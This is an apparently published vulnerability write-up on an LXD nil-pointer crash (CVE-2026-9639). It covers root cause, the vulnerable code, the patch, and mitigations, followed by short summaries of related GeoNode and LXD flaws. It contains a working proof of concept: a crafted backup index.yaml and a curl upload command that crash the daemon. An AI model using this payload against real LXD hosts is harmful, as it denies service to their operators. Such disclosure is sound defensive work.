Nov 7, 2026·9 min read·4 visits
An unguarded pointer dereference on snapshot expiration timestamps during custom storage volume backup restoration allows authenticated users with volume creation privileges to crash the Canonical LXD daemon via a malformed backup archive.
CVE-2026-9639 (GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability in Canonical LXD affecting versions 5.0.0 through 5.21.4 and 6.0 through 6.8. The flaw resides in the (*lxdBackend).CreateCustomVolumeFromBackup method within lxd/storage/backend_lxd.go. An authenticated attacker with the can_create_storage_volumes permission can upload a crafted custom volume backup tarball that omits the expires_at field on a snapshot entry, triggering an unhandled SIGSEGV panic and terminating the LXD daemon.
Canonical LXD is a system container and virtual machine manager that exposes a REST API over a local Unix socket and optional HTTPS endpoints. Among its storage management features, LXD allows users to export and import custom storage volumes as compressed backup archives (tar.gz). This functionality is exposed via the POST /1.0/storage-pools/{pool}/volumes/custom REST API endpoint.
CVE-2026-9639 (also tracked as GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability (CWE-476) located in the (*lxdBackend).CreateCustomVolumeFromBackup function in lxd/storage/backend_lxd.go. When LXD processes an uploaded custom storage volume backup archive, it parses the structural metadata defined within the archive's backup/index.yaml file. This metadata includes definitions for the primary custom volume and any associated volume snapshots.
If a snapshot entry in backup/index.yaml omits the optional expires_at timestamp field, the Go YAML deserializer populates the corresponding struct field (ExpiresAt) with a nil pointer. During the database record creation phase for the imported snapshots, the LXD storage backend unconditionally dereferences this pointer without verifying whether it is nil.
An authenticated user possessing the can_create_storage_volumes (EntitlementCanCreateStorageVolumes) permission on any project can exploit this flaw by submitting a specially crafted backup tarball. Dereferencing the nil pointer causes the Go runtime to raise an unhandled SIGSEGV segmentation violation, immediately crashing the entire lxd daemon process and causing a denial of service across all management operations on the host.
In LXD's API data structures (shared/api/storage_pool_volume_snapshot.go), the expiration timestamp for a storage pool volume snapshot is represented as a pointer to a time.Time struct:
ExpiresAt *time.Time `json:"expires_at" yaml:"expires_at"`Pointer types (*time.Time) are standard in Go for representing optional timestamp fields in JSON and YAML payloads. When a user supplies a backup/index.yaml file where a snapshot entry under config.volumes[*].snapshots[*] does not include the expires_at key, or explicitly sets it to null, the YAML unmarshaler leaves snapshot.ExpiresAt as nil.
This vulnerability is an incomplete remediation variant of CVE-2026-40197 (GHSA-r7w7-mmxr-47r9), which was patched in LXD via commit 05bc2729e99707a766d5c4705167a3322c9ef424. That earlier fix introduced validation checks (if s == nil) to ensure that snapshot entries themselves within backup/index.yaml were not null pointers before accessing their fields. However, while the fix verified that the parent snapshot struct pointer was non-nil, it failed to validate the nested snapshot.ExpiresAt pointer before passing *snapshot.ExpiresAt by value to VolumeDBCreate at line 8216 of lxd/storage/backend_lxd.go.
The defect represents an asymmetric guard pattern within lxd/storage/backend_lxd.go. Every other consumer of the ExpiresAt pointer within the same source file properly checks for nil prior to dereferencing (specifically at lines 1010-1011, 1274-1275, 1558-1559, 1856-1857, 2454-2455, 5070-5071, and 5527-5528). Only the call site inside CreateCustomVolumeFromBackup omitted the check, leading directly to a crash when VolumeDBCreate is invoked.
In the vulnerable versions of LXD (up to 6.8 and 5.21.4), (*lxdBackend).CreateCustomVolumeFromBackup iterates over the customVol.Snapshots slice parsed from the backup configuration. After verifying that the loop element s is not nil, the function prepares to register the snapshot in the LXD database using VolumeDBCreate.
The VolumeDBCreate function signature expects a concrete time.Time value rather than a *time.Time pointer for the expiration parameter. In the unpatched code, the developer passed *snapshot.ExpiresAt directly into the function call:
// Vulnerable code in lxd/storage/backend_lxd.go
for i, s := range customVol.Snapshots {
if s == nil {
return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
}
snapshot := s
// ... [configuration stripping and volume setup omitted] ...
// Validate config and create database entry for new storage volume.
// Strip unsupported config keys (in case the export was made from a different type of storage pool).
err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
if err != nil {
return err
}
}Canonical remediated this flaw in commit c7cdfadb6044dfeaac592dc225978b4125ee23fe (PR #18320 for the main branch) and backported it to the 5.21 LTS branch in commit d15520809e6e2ac2af0c6354dfb7be5854b0e859 (PR #18390). The patch introduces a stack-allocated time.Time variable (snapExpiryDate), which Go automatically initializes to the zero time value (0001-01-01 00:00:00 +0000 UTC). The code then checks whether snapshot.ExpiresAt is non-nil before dereferencing it:
--- a/lxd/storage/backend_lxd.go
+++ b/lxd/storage/backend_lxd.go
@@ -8213,7 +8213,12 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(ctx context.Context, srcBackup
// Validate config and create database entry for new storage volume.
// Strip unsupported config keys (in case the export was made from a different type of storage pool).
- err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+ var snapExpiryDate time.Time
+ // Guard against nil pointer when expires_at is omitted in backup/index.yaml
+ if snapshot.ExpiresAt != nil {
+ snapExpiryDate = *snapshot.ExpiresAt
+ }
+
+ err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
if err != nil {
return err
}> [!NOTE]
> Fix Completeness Assessment: The patch completely resolves the null pointer dereference on ExpiresAt within CreateCustomVolumeFromBackup and brings line 8216 into alignment with the defensive checks already present at the seven other ExpiresAt dereference sites in lxd/storage/backend_lxd.go. Because CreatedAt in the same struct is defined as a value type (time.Time) rather than a pointer, it is not susceptible to an equivalent nil-dereference variant in this function.
Exploiting CVE-2026-9639 requires authenticated access to the LXD REST API. Specifically, the attacker must authenticate as an identity that holds the can_create_storage_volumes permission (mapped internally to EntitlementCanCreateStorageVolumes) within any valid LXD project. In multi-tenant deployments using Fine-Grained Authorization (OpenFGA/RBAC) or local unix group access, non-administrative users are routinely granted volume management privileges within their designated projects.
To trigger the vulnerability, the attacker creates a minimal backup/index.yaml file defining a custom volume (type: custom) and a single snapshot (snap0). Within the config.volumes[0].snapshots[0] map, the expires_at key is omitted:
name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
version: 2
pools:
- {name: default, driver: dir, config: {}}
volumes:
- name: poc-vol
type: custom
pool: default
content_type: filesystem
config: {}
snapshots:
- name: snap0
description: snap0
config: {}The attacker packages this YAML file into a gzipped tarball and submits it as an application/octet-stream binary payload to the /1.0/storage-pools/<pool>/volumes/custom endpoint:
# Package the crafted index.yaml into a backup archive
tar -czf /tmp/poc-vol-lxd.tar.gz backup/index.yaml
# Upload the archive to the LXD REST API
curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \
--data-binary @/tmp/poc-vol-lxd.tar.gz \
-H 'Content-Type: application/octet-stream' \
-H 'X-LXD-name: poc-vol' \
http://lxd/1.0/storage-pools/default/volumes/customWhen the LXD daemon receives this request, it spawns an asynchronous background operation goroutine (createStoragePoolVolumeFromBackup) to extract and import the volume. Because this goroutine executes without a recover() handler capable of isolating segmentation faults, evaluating *snapshot.ExpiresAt triggers an immediate process-wide panic:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]
goroutine 683 [running]:
github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...)
github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58
main.createStoragePoolVolumeFromBackup.func6(...)
github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0
github.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...)
github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6cCVE-2026-9639 is rated at CVSS v3.1 Base Score 6.5 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H. The Attack Vector is Network (AV:N) because the LXD REST API is commonly exposed over TLS on TCP port 8443 for remote client and cluster operations, in addition to the local Unix domain socket. Attack Complexity is Low (AC:L), requiring no race conditions or memory layout preparation, and Privileges Required is Low (PR:L), reflecting the requirement for basic project-level storage volume creation permissions.
The security impact is strictly confined to Availability (A:H), with no impact on Confidentiality (C:N) or Integrity (I:N). Because Go safely traps null pointer dereferences at page zero (addr=0x0) and terminates the process via SIGSEGV, an attacker cannot leverage this primitive for out-of-bounds memory reads or arbitrary code execution.
However, the operational disruption caused by terminating the lxd daemon is significant, particularly in multi-tenant or clustered environments. While running containers and QEMU virtual machines continue executing independently of the management daemon, all control-plane operations immediately fail. In-flight operations—such as live migrations, container launches, image downloads, and storage pool modifications—are abruptly aborted, which can leave storage volumes or database records in partially initialized states.
Furthermore, because the payload is small and deterministic, an authenticated attacker can repeatedly issue the POST request each time the service manager (such as systemd or snapd) restarts the lxd daemon. This creates a persistent denial-of-service condition that prevents administrators and automated orchestrators from managing the host until the attacker's credentials or permissions are revoked.
Administrators and operators running Canonical LXD should upgrade to a patched release that includes the nil-pointer validation check. Canonical has released fixes across both active release tracks:
c7cdfadb6044dfeaac592dc225978b4125ee23fe).d15520809e6e2ac2af0c6354dfb7be5854b0e859).For systems deployed via Snap packages, updates can be applied by refreshing the snap channel corresponding to the deployed track:
# Refresh LXD on the 5.21 LTS track
snap refresh lxd --channel=5.21/stable
# Refresh LXD on the 6.x feature track
snap refresh lxd --channel=latest/stableIn environments where an immediate upgrade is not feasible, administrators should audit and restrict access to the LXD REST API and review Role-Based Access Control (RBAC) / OpenFGA policies. Specifically, revoke the can_create_storage_volumes (EntitlementCanCreateStorageVolumes) entitlement from untrusted or semi-trusted project users so they cannot invoke the custom volume backup import endpoint.
Additionally, ensure that the service supervisor managing the lxd daemon is configured to automatically restart the process upon abnormal termination (e.g., Restart=on-failure or Restart=always in systemd), and configure log monitoring to alert on SIGSEGV panics originating from backend_lxd.go.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
LXD Canonical | >= 6.0, < 6.9 | 6.9 |
LXD Canonical | >= 5.0.0, < 5.21.5 | 5.21.5 |
| Attribute | Detail |
|---|---|
| Vulnerability Class | CWE-476: NULL Pointer Dereference |
| CVSS v3.1 Score | 6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H) |
| Affected Component | (*lxdBackend).CreateCustomVolumeFromBackup in lxd/storage/backend_lxd.go |
| Attack Vector | Authenticated HTTP POST to /1.0/storage-pools/{pool}/volumes/custom |
| Required Privileges | can_create_storage_volumes (EntitlementCanCreateStorageVolumes) |
| Primary Impact | Unhandled SIGSEGV daemon crash (Denial of Service) |
| Exploit Status | Public Proof-of-Concept (PoC) Available |
| Patched Versions | LXD 6.9 and LXD 5.21.5 |
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
An operating system command injection vulnerability (CWE-78) exists in GeoNode versions prior to 5.1.0. The vulnerability occurs in the vector upload processing pipeline when handling user-supplied geospatial files. By supplying a crafted layer name containing shell metacharacters, an authenticated attacker with basic data upload privileges can execute arbitrary commands on the underlying server or container hosting the GeoNode application and Celery worker processes.
GeoNode versions prior to 5.0.3 contain an unrestricted file upload vulnerability (CWE-434) within the document and dataset ingestion architecture. Authenticated low-privileged users can bypass upload validation via direct REST API interactions, file extension masquerading, metadata mutation via PATCH requests, or malicious archive submissions. This allows attackers to store and serve dangerous file types, alter on-disk file references, or trigger path traversal and resource exhaustion during archive extraction.
CVE-2026-55649 is a stored Cross-Site Scripting (XSS) vulnerability in GeoNode versions prior to 5.0.3. The flaw exists because document abstract metadata fields are ingested via the metadata management pipeline and stored in the backend database without HTML sanitization or input neutralization. An authenticated attacker with privileges to create or edit document metadata can inject arbitrary HTML and JavaScript payloads into these fields. When another user, such as an administrator, views the affected document page or catalog listing, the unencoded payload is rendered into the Document Object Model (DOM) and executes within the victim's browser session.
CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.
An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.
A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.